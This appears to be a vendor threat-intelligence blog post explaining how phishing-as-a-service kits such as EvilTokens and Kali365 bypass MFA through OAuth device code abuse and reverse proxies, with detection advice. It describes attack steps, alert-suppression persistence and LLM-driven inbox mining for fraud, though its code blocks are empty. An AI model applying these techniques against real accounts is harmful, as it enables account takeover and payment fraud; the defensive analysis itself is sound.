Phishing-as-a-service kits now sell MFA bypass as a subscription. In the device code model, the victim enters an attacker-supplied code on the real sign-in page of the identity provider and completes their genuine MFA, and the attacker receives the resulting tokens. No fake login page is needed. This post explains how it works, how the kits are packaged and which controls help.
The phishing-as-a-service kit is no longer a script a criminal downloads and self-hosts. In 2026, it is a subscription product with a dashboard, customer support, templated AI lures, real-time token capture, and a post-compromise automation suite. The attacker does not need to understand OAuth. They need a Telegram account and a subscription. For what the app does and does not protect, see Is Telegram safe?
Two platforms illustrate precisely how far this commercialization has advanced. EvilTokens is a device code platform. Kali365, which the FBI says it first saw in April 2026, drew an FBI Public Service Announcement dated 21 May 2026, and then performed a theatrical exit by announcing its closure after reposting that same FBI alert on its own Telegram channel.
What both platforms share, and what distinguishes the current generation of phishing-as-a-service kits from their predecessors, is that neither requires the attacker to present a convincing fake login page. The victim authenticates on a real Microsoft domain, completing their real MFA challenge, and still loses their account. This is not a social engineering improvement. It is a technical architecture change that renders most deployed identity security controls ineffective against a subscription tool. Phishing monitoring that tracks new domains and certificates can still spot the hosting of a kit early.
What Are the Two Technical Models Behind Phishing-as-a-Service Kits?
Modern phishing-as-a-service kits converge on two primary attack architectures, sometimes combined within the same platform. Understanding the technical distinction between them is prerequisite to evaluating any detection or mitigation strategy.
Model 1: Adversary-in-the-Middle (AiTM) with Reverse Proxy
The AiTM model places a reverse proxy between the victim’s browser and the legitimate service. The proxy transparently forwards every request and response in both directions, creating the appearance of a normal login flow for the victim while capturing all authentication material in transit.
AiTM session cookie capture flow// AiTM Reverse Proxy Architecture (Evilginx2 / ginX variant) |
Kali365 implements the AiTM model through a custom Evilginx2 fork it branded internally as ‘ginX’. The reverse proxy sits between the victim and Microsoft’s real authentication endpoints, capturing session cookies that provide inbox access without any further credential or MFA interaction.
Model 2: OAuth Device Code Flow Abuse
The device code model takes a fundamentally different approach. Rather than faking or proxying a login page, it weaponizes a legitimate Microsoft authentication mechanism: the OAuth 2.0 Device Authorization Grant, originally designed for input-constrained devices such as smart televisions and printers that cannot easily accept a password.
- Attacker requests a device codeThe attacker asks the device code endpoint for a device code and a user code.Technique T1528 (MITRE ATT&CK, opens in a new tab)
- Lure is sentThe victim is told to enter the user code on the real sign-in page.Technique T1566.002 (MITRE ATT&CK, opens in a new tab)
- Victim signs inThe victim enters the code and completes MFA on the genuine domain.
- Attacker polls for tokensThe attacker uses the device code at the token endpoint.
- Tokens are issuedAccess and refresh tokens go to the attacker, with no password captured.
OAuth Device Code abuse: technical flow// OAuth Device Code Flow: Legitimate vs. Weaponized |
Why This Bypasses MFA Without Touching It
Standard MFA protects the credential presentation step: the attacker cannot authenticate without the second factor. The device code flow eliminates the credential presentation step entirely. The victim provides the MFA challenge completion directly to Microsoft, and Microsoft delivers the resulting token to whoever initiated the device authorization request, regardless of where the user_code instruction originated. From Microsoft’s perspective, the session is legitimate. The user authenticated correctly. The MFA challenge was completed by the actual user on a real Microsoft domain. The IP address, device fingerprint, and authentication method are all consistent with normal user behavior. No anomaly to flag, no challenge to trigger, no protection to apply.
| Topic | AiTM reverse proxy | Device code abuse |
|---|---|---|
| Login page | Proxy relays the real login flow | No fake page; the real sign-in page is used |
| What is stolen | Session cookie issued after MFA | Access and refresh tokens |
| Password | Not needed once the cookie is replayed | Not captured |
| MFA | Completed by the victim, cookie taken after | Completed by the victim on the real domain |
| Seen in | Kali365 module based on Evilginx2 | EvilTokens and Kali365 device code module |
EvilTokens: Full-Stack BEC-as-a-Service
EvilTokens first appeared in underground communities and became operational. Unlike basic phishing kits that stop at credential collection, EvilTokens is a complete post-compromise operations platform that automates the entire attack lifecycle from token capture through business email compromise execution.
| Component | Technical Detail |
| Pricing | Base price plus a maintenance fee. Sold via Telegram. |
| Attack model | OAuth Device Code flow abuse; no fake login page presented |
| Infrastructure | Multi-tenant SaaS on Railway PaaS platform; each operator receives isolated environment with unique credentials |
| Token refresh | Stolen OAuth refresh tokens replayed on a schedule via Railway; persistent access per compromised account |
| Lure templates | Adobe Acrobat Sign, Adobe Acrobat Viewer, DocuSign, email quarantine, SharePoint access request, calendar invite, voicemail notification, OneDrive shared document, eFax, password expiry warning |
| AI component | AI-generated lure text customized to target’s industry and role; reduces the time lure construction takes |
| BEC module | MailVault: branded Outlook-clone webmail interface for operating from victim accounts |
| AI intelligence | Meta LLaMA model integration: auto-extracts wire transfer details, account numbers, routing numbers, and invoice threads from victim inboxes; reduces the time BEC reconnaissance takes |
| Keyword alerting | Telegram bot alerts when emails matching attacker-defined keywords (wire, invoice, payment, transfer) arrive in compromised inbox |
| Scale | Confirmed victim organizations across North America, South America, Europe, Middle East, Asia, Oceania |
| Primary target sectors | Finance, HR, logistics, and sales staff at organizations using Microsoft 365 |
EvilTokens Page Construction: The Hidden Decryption Model
EvilTokens lure pages do not contain visible phishing content in their source HTML. The page is designed to be opaque to automated scanners, static analysis tools, and email security link inspection systems that attempt to classify the page at delivery time.
EvilTokens phishing page: AES-GCM decryption in browser<!-- EvilTokens phishing page source structure (documented) --> |
Post-Compromise Automation: LLaMA in the Inbox
The most consequential technical advancement in EvilTokens is not the token capture mechanism. It is what the platform does with access after capture. The MailVault BEC client, included with every subscription, connects to the victim’s Office 365 inbox using the stolen OAuth token and runs an AI triage pipeline built on Meta’s open-weight LLaMA model.
The LLaMA integration performs automated extraction of high-value BEC intelligence from the victim’s inbox: pending wire transfers, outstanding invoices, vendor payment schedules, and active financial correspondence. Reconnaissance that previously required an operator to manually review an inbox is reduced to a structured report generated automatically. The Telegram keyword alert system then notifies the operator when new matching emails arrive, creating a persistent intelligence feed from the compromised account.
The BEC Acceleration Problem
Traditional BEC required a skilled operator with domain knowledge, an understanding of organizational payment flows, and the patience to read through inboxes looking for actionable intelligence. EvilTokens replaces all three requirements with a subscription and a language model. The skill floor for conducting a sophisticated, context-aware BEC attack from a compromised executive inbox is now near zero.
Kali365: A Dual-Method Platform With a Theatrical Exit
Kali365 emerged with branded Telegram activity before the FBI’s stated first observation date of April 2026. It is a more mature platform than EvilTokens in terms of feature breadth, offering both AiTM session cookie theft and device code phishing within the same subscription, alongside a full suite of post-compromise tools.
| Feature | Technical Detail |
| Pricing | Subscription; distributed via Telegram |
| Aliases | Kali365, Octopi365, Freedom365 (multiple panel identities confirmed) |
| AiTM module | Custom Evilginx2 fork (‘ginX’): reverse-proxy session cookie capture |
| Device code module | Microsoft device code flow abuse; identical mechanism to EvilTokens |
| Landing page templates | Templates targeting Microsoft Outlook, Microsoft Live, Okta SSO, Xerox DocuShare, GMX, and others |
| Target expansion | Expanded from Microsoft-only to AWS, Okta, Xerox DocuShare, Russian MAX Messenger |
| Token browser | Desktop application with UA ‘kali365-live/1.0.0’; one-click inbox takeover from captured tokens |
| Ghost mode | Alert suppression: automatically dismisses Microsoft security notification emails to prevent victim awareness |
| Contact harvester | Extracts contact lists from compromised accounts for campaign amplification |
| BEC monitoring | Built-in keyword monitoring engine for high-value email triage |
| AI lure generation | AI-generated phishing emails customized to target and campaign context |
| Infrastructure scale | Malicious hosts identified in active use (independent security research) |
| C2 infrastructure | Tencent Cloud IP addresses in AS132203; multiple campaigns running concurrently |
| Operational lifespan | Active until its closure announcement |
The Ghost Mode Detail: Engineering Invisibility
The most operationally significant feature of Kali365 is not its token capture capability but its post-access persistence engineering. When a Microsoft account is accessed from an unusual location or device, Microsoft typically sends a security notification email to the account owner. Ghost mode detects these notifications and automatically archives or deletes them before the victim sees them.
This is not a technical bypass of Microsoft’s security notification system. It is an operational workaround that exploits the attacker’s read access to the victim’s inbox to remove the evidence of compromise from the victim’s view. Combined with automatic inbox rule creation to divert future security notifications, Kali365 effectively extends the window of undetected access from the time a victim might take to notice a suspicious email to a much longer period.
Kali365 ghost mode and persistence (Disclaimer: reconstructed from documented incident behaviors for research purposes)// Kali365 post-compromise persistence sequence (documented behavior): |
What Does ‘AI-Powered’ Actually Mean in a PhaaS Kit?
Marketing language around AI in phishing toolkits covers a wide spectrum. Understanding what the AI component actually does in EvilTokens and Kali365 matters for assessing the genuine capability increase versus the rhetorical claim.
| AI Capability | What It Replaces | Actual Impact |
| AI-generated lure text | Manual copywriting per campaign; required social engineering skill and knowledge of target’s organizational context | Lure quality now scales with campaign volume; attacker can run many simultaneous campaigns with individually contextualized emails at the same operational cost as one |
| LLaMA inbox triage (EvilTokens) | Manual operator review of compromised inbox; required domain knowledge to identify high-value financial threads | BEC reconnaissance compressed sharply; operator receives structured summary of actionable financial intelligence; no domain expertise required |
| Anti-analysis evasion (AES-GCM page decryption) | Static phishing page visible to scanners at delivery | Page contains no detectable malicious content at scan time; detonation in headless browser required for classification; most SEGs cannot do this at scale |
| Polymorphic page behavior | Fixed landing page presented to all visitors | Page adapts content based on visitor’s browser, IP geolocation, and referral header; sandbox analysis sees benign content; target sees attack content |
| Dynamic code generation | Static device codes generated offline | Each victim request generates a fresh device code; codes expire after 15 minutes; limits replay in sandboxes that delay analysis |
The net effect of these AI components is not a qualitative improvement in any single attack step. It is the removal of the human bottleneck from each step. A single operator can now manage an attack campaign at a scale that previously required a team, because the steps that required human judgment (writing lures, reading inboxes, adapting pages to context) are now automated.
How Did PhaaS Commercialization Multiply Phishing Volume?
The rise in device code phishing attacks is not attributable to a new technical vulnerability. The OAuth device code flow is a published standard (RFC 8628). The mechanism has been documented in threat research for years. What changed was packaging: EvilTokens and Kali365 made this mechanism available to operators with no technical background for a low subscription cost.
The Economic Model of PhaaS 2.0
Tycoon 2FA was a large AiTM platform that continued operating until a joint law enforcement action disrupted its infrastructure.
The economics are straightforward: the operators of a PhaaS platform earn recurring subscription revenue regardless of whether individual campaigns succeed. Each affiliate who purchases a subscription provides a known return to the operator. The affiliate only needs one successful BEC fraud to recoup their subscription cost many times over. The risk is asymmetric in the attacker’s favor at every level of the supply chain.
The Takedown Limitation: Why Disruptions Have Diminishing Returns
The coordinated action targeting Tycoon 2FA temporarily reduced detection volume. Kali365 announced its own closure. Neither disruption removed the capability from the market.
EvilTokens was already operational during the Tycoon 2FA disruption. Kali365’s closure was followed by the identification of Octopi365 and Freedom365, panels running identical code under different names. The source code for Evilginx2, which underpins the AiTM module in multiple PhaaS platforms, is publicly available. The device code abuse technique requires no proprietary tooling. A determined affiliate who loses access to one platform can be operational on a successor platform quickly.
Law enforcement action against PhaaS infrastructure produces market fragmentation rather than market elimination.
Detection: What Works and What Does Not
Controls That Do Not Stop PhaaS 2.0
Several security controls that effectively reduce traditional phishing risk are ineffective against the current PhaaS generation, not because they are poorly implemented but because the attack architecture was specifically designed to route around them.
| Control | Why It Fails Against PhaaS 2.0 |
| MFA (TOTP, SMS, push notifications) | The device code flow completes MFA correctly; AiTM captures the session cookie after MFA passes. Neither model requires intercepting or bypassing the second factor. |
| Password reset after compromise | OAuth tokens issued before the password reset remain valid. Access continues until tokens are explicitly revoked. |
| Secure email gateway link inspection | EvilTokens pages contain no malicious content at delivery time (AES-GCM encrypted payload fetched at runtime). Links pass to real Microsoft domains (device code model). Static inspection classifies both as benign. |
| User training to identify fake login pages | There is no fake login page in the device code model. Victim authenticates on genuine microsoft.com. All visual cues are legitimate. |
| Domain reputation blocking | Kali365’s AiTM proxies legitimate Microsoft domains; device code model uses microsoft.com/devicelogin directly. Reputation-based blocking cannot trigger on the login domain. |
Controls That Do Work
- Disable device code authentication flow in Conditional Access policies for all accounts and applications that do not require it for legitimate headless device use. This blocks the device code attack vector entirely for in-scope accounts.
- Conditional Access policy: block legacy authentication protocols and require compliant or hybrid-joined device for all authentication. Device code phishing generates sign-in events that fail compliant device checks.
- Phishing-resistant MFA (FIDO2 hardware keys, passkeys): cryptographically verifies the actual domain of the authentication endpoint. FIDO2 credentials cannot be used on a proxy domain. This is the only MFA type that stops AiTM attacks at the authentication layer.
- Monitor Microsoft Entra ID sign-in logs for device code authentication events from unusual IP ranges or to unusual client applications. A spike in device code events from cloud infrastructure IP ranges (AWS, Tencent Cloud, Railway PaaS) is a high-fidelity indicator.
- Audit inbox rules for newly created rules that move, delete, or mark as read emails from Microsoft security notification senders. Kali365’s ghost mode creates these rules after initial access.
- Monitor OAuth application consents for newly granted permissions, particularly for applications not in the organizational approved list that received mail.read, mail.readwrite, or files.readwrite scopes.
- Token revocation on suspicious activity: configure risky sign-in policies to revoke refresh tokens when device code authentication occurs from anomalous locations, rather than simply requiring step-up MFA (which the device code flow already completed legitimately).
Detection queries: device code phishing and ghost mode activity// Detection query: device code authentication events from cloud infrastructure |
MITRE ATT&CK Mapping
| Tactic | Technique | How it appears here |
| Resource Development | T1583.001 Acquire Infrastructure: Domains | Single use lookalike domains rotated |
| Resource Development | T1608.005 Stage Capabilities: Link Target | Hosted kit panel and multi stage redirect chain |
| Initial Access | T1566.002 Phishing: Spearphishing Link | AI generated per victim lures, no repeated string |
| Credential Access | T1557 Adversary-in-the-Middle | Reverse proxy relaying the genuine login flow |
| Credential Access | T1528 Steal Application Access Token | OAuth access and refresh token capture |
| Defense Evasion | T1684.001 Impersonation | Browser-in-the-Browser rendered address bar |
| Defense Evasion | T1497 Virtualization/Sandbox Evasion | User Agent fingerprinting and CAPTCHA gating |
| Persistence | T1098.005 Account Manipulation: Device Registration | Attacker device authorized through the grant |
| Collection | T1114.002 Email Collection: Remote Email Collection | Automated inbox analysis for wire transfer threads |
How Brandefense Addresses PhaaS 2.0 Threats
| Capability | Coverage |
| Dark web PhaaS monitoring | Tracks active PhaaS platforms in underground markets, monitoring for new kit releases, affiliate recruitment posts, and infrastructure registration that precedes campaigns targeting customer sectors |
| Phishing infrastructure detection | Identifies domains, IP ranges, and SSL certificates associated with active PhaaS campaigns and AiTM proxy infrastructure before campaigns reach victim inboxes |
| Credential and token exposure monitoring | Detects organizational email addresses and OAuth tokens appearing in dark web markets, infostealer logs, and PhaaS operator databases before account compromise is confirmed |
| Threat actor targeting intelligence | Surfaces PhaaS affiliate activity and campaign planning in threat actor channels that names specific organizations, sectors, or technology platforms as targets |
| Digital risk protection for executive identities | Monitors for executive personal and corporate identifiers appearing in phishing kit templates, credential markets, and BEC operator communications |
RELATED READING
Device-Code Phishing Jumped 1,380%: The MFA Bypass Method Nobody’s Training Employees On: brandefense.io/blog/device-code-phishing-mfa-bypass/ : The second branch in full technical depth, including the six step flow and the ninety day refresh token problem.
MFA Doesn’t Protect You, Cookies Give You Away: The Rise of Session Hijacking: brandefense.io/blog/mfa-doesnt-protect-you-cookies-give-you-away-the-rise-of-session-hijacking/ : What happens to the session token after the reverse proxy has taken it, and why MFA strength stops mattering at that point.
Lookalike Domains: How a Single Character Difference Becomes a Brand’s Worst Nightmare: brandefense.io/blog/lookalike-domains-brand-impersonation/ : The domain layer these kits run on, and the Certificate Transparency and passive DNS detection this article recommends.
How Spear Phishing Campaigns Target C-Suite Executives: Tactics, Tools, and Defense: brandefense.io/blog/spear-phishing-c-suite-executives/ : Where the LLM generated lure click through figure comes from, and how the same tooling is aimed at named executives.
